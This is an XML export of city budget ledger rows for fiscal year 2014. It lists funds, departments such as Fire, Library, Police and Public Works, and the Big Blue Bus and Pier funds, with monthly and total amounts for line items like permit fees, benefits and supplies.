<row _id="11303"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>407210.0</object><object_description>EVENT PERMIT FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-8716.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-8716.0</total></row>
<row _id="11304"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>407070.0</object><object_description>CUPA ADMINISTRATION FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-221400.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-221400.0</total></row>
<row _id="11305"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>570100.0</object><object_description>PEG TRANSFER FROM FUND 04</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>-262757.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-262757.0</total></row>
<row _id="11306"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511560.0</object><object_description>CAPITALIZED LABOR</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-658465.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-658465.0</total></row>
<row _id="11307"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>212</division_id><division_name>R &amp; ES(CITY CLERK)-ELECTIONS</division_name><object>401170.0</object><object_description>ELECTION FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-2200.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2200.0</total></row>
<row _id="11308"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>566290.0</object><object_description>PROGRAMS &amp; SPECIAL EVENTS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4840.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4840.0</total></row>
<row _id="11309"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>578837.0</object><object_description>BULLETPROOF VEST GRANT - 2013</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>23372</march><april>0</april><may>0</may><june>0.0</june><total>23372.0</total></row>
<row _id="11310"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>10352.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10352.0</total></row>
<row _id="11311"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1694.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>27</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1721.0</total></row>
<row _id="11312"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>522160.0</object><object_description>TRANSFER STATION FEE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>15500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15500.0</total></row>
<row _id="11313"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>180.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>180.0</total></row>
<row _id="11314"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>533210.0</object><object_description>BLDG OPER / CUST SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>100318.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>100318.0</total></row>
<row _id="11315"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>44</fund_id><fund_name>SCAQMD AB 2766 Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>404940.0</object><object_description>AB2766 MBILE SRCE AIR POLL FEE</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-110000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-110000.0</total></row>
<row _id="11316"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object xsi:nil="true" /><object_description>ACCRUED INVESTMENT INCOME</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>37381.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>37381.0</total></row>
<row _id="11317"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2306.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2306.0</total></row>
<row _id="11318"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>8200.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8200.0</total></row>
<row _id="11319"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>256.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>256.0</total></row>
<row _id="11320"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>100.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>100.0</total></row>
<row _id="11321"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>898.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>898.0</total></row>
<row _id="11322"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>104.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>104.0</total></row>
<row _id="11323"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>452.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>452.0</total></row>
<row _id="11324"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1507.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1507.0</total></row>
<row _id="11325"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>22906.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>22906.0</total></row>
<row _id="11326"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1738.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1738.0</total></row>
<row _id="11327"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>499.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>499.0</total></row>
<row _id="11328"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>WELLNESS</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>481.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>481.0</total></row>
<row _id="11329"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>660.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>660.0</total></row>
<row _id="11330"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>20604.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20604.0</total></row>
<row _id="11331"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>646.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>646.0</total></row>
<row _id="11332"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6500.0</total></row>
<row _id="11333"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>400440.0</object><object_description>PARK FILMING LOCATION FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-46010.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-46010.0</total></row>
<row _id="11334"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2614.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2614.0</total></row>
<row _id="11335"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>540590.0</object><object_description>EMPLOYEE RECOGNITION &amp; APPRECI</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>180.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>180.0</total></row>
<row _id="11336"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>540590.0</object><object_description>EMPLOYEE RECOGNITION &amp; APPRECI</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6000.0</total></row>
<row _id="11337"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>540590.0</object><object_description>EMPLOYEE RECOGNITION &amp; APPRECI</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>261.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>261.0</total></row>
<row _id="11338"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>7131.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>62.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7193.0</total></row>
<row _id="11339"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5132.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5132.0</total></row>
<row _id="11340"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4100.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4100.0</total></row>
<row _id="11341"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>128154.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>2946</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>131100.0</total></row>
<row _id="11342"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>626.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>626.0</total></row>
<row _id="11343"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5778.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5778.0</total></row>
<row _id="11344"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-2570.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2570.0</total></row>
<row _id="11345"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-4012.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-4012.0</total></row>
<row _id="11346"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-9609.0</july><august>0</august><september>0</september><october>0</october><november>-2599.0</november><december>-559</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-12767.0</total></row>
<row _id="11347"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-11992.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>-1644</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-13636.0</total></row>
<row _id="11348"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-6846.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>4167.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2679.0</total></row>
<row _id="11349"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-9222.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-9222.0</total></row>
